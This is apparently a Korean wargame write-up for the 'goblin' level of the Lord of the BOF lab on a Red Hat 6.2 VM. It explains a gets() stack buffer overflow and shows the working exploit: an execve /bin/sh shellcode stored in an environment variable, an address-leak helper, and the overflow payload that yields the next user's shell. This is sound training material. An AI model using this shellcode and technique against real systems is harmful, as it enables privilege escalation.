|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=8605 [복사]
Connecting to 192.168.0.22:23...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.
_______________________
_______________________------------------- `\
/:--__ |
||< > | ___________________________/
| \__/_________________------------------- |
| |
| The Lord of the BOF : The Fellowship of the BOF, 2010 |
| |
| |
| [enter to the dungeon] |
| gate : gate |
| |
| [RULE] |
| - do not use local root exploit |
| - do not use LD_PRELOAD to my-pass |
| - do not use single boot [h4ck3rsch001] |
| ____________________|_
| ___________________------------------------- `\
|/`--_ |
||[ ]|| ___________________/
\===/___________________--------------------------
login: cobolt
Password:
Last login: Tue Jul 1 13:02:01 from 192.168.0.20
[cobolt@localhost cobolt]$ bash2
[cobolt@localhost cobolt]$ ls -al
total 48
drwx------ 2 cobolt cobolt 4096 Jul 1 13:03 .
drwxr-xr-x 25 root root 4096 Mar 30 2010 ..
-rw------- 1 cobolt cobolt 3262 Jul 1 13:03 .bash_history
-rw-r--r-- 1 cobolt cobolt 24 Feb 26 2010 .bash_logout
-rw-r--r-- 1 cobolt cobolt 230 Feb 26 2010 .bash_profile
-rw-r--r-- 1 cobolt cobolt 124 Feb 26 2010 .bashrc
-rwxr-xr-x 1 cobolt cobolt 333 Feb 26 2010 .emacs
-rw-r--r-- 1 cobolt cobolt 3394 Feb 26 2010 .screenrc
-rwsr-sr-x 1 goblin goblin 11824 Feb 26 2010 goblin
-rw-r--r-- 1 root root 193 Mar 29 2010 goblin.c
[cobolt@localhost cobolt]$ cat goblin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
===============================
소스 코드를 보면 main함수의 인자값
int argc와 char *argv[]가 없다.
gets 함수로 버퍼 변수에 넣는데
아시다시피 gets함수는 경계선을 검사하지 않고
데이터를 무조건 집어 넣는데.
레드햇 6.2는...
메모리의 구조중 스택의 구조는 아래와 같은 모양이다.
[ 높은 주소 ] ← 스택의 바닥 (main에서 malloc한 변수 등)
---------------------
Return Address ← 가장 먼저 덮어야 할 부분
---------------------
Saved EBP (Base Pointer)
---------------------
buffer[16] ← 취약한 버퍼 (가장 낮은 쪽에 위치함)
---------------------
[ 낮은 주소 ] ← 스택의 꼭대기 (ESP가 여기서 시작함)
즉, ASLR, Stack Canary와 같은 메모리 보호기법이 적용되지 않다.
char buffer가 16바이트 그 위에
스택 프레임 포인터에 아무런 문자나 넣는다.
\x90...
NOP Sled(No Operation Sled... 넙썰매)
\x90은 NOP이므로 아무런 실행을 하지 않는다.
그럼 20바이트만 \x90으로 채우고 그 뒤에 리턴 어드레스를
원하는 주소로 대입하면?
그것이 쉘코드라면 쉘을 따는 원리가 되는 것이다.
p.s. 25바이트 쉘코드가 아무리해도 작동이 안 되서
좀 더 긴 쉘코드를 넣으니 다음 권한의 쉘이 따짐.
===============================
[cobolt@localhost cobolt]$ ./goblin
f
f
[cobolt@localhost cobolt]$ ./goblin
abcd
abcd
[cobolt@localhost cobolt]$ export SHELLCODE=$(python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
[cobolt@localhost cobolt]$ vi ex_shell.c
[cobolt@localhost cobolt]$ cat ex_shell.c
#include <stdio.h>
int main(void)
{
printf("%p\n", getenv("SHELLCODE"));
return 0;
}
[cobolt@localhost cobolt]$ gcc -o ex_shell ex_shell.c
[cobolt@localhost cobolt]$ ./ex_shell
0xbffffdfd
[cobolt@localhost cobolt]$ (python -c 'print "\x90"*20+"\xfd\xfd\xff\xbf"';cat) | ./goblin
my-pass
euid = 503
[??????????????????] |
Hit : 1288 Date : 2025/07/02 05:00
|
1617, 
1/81 
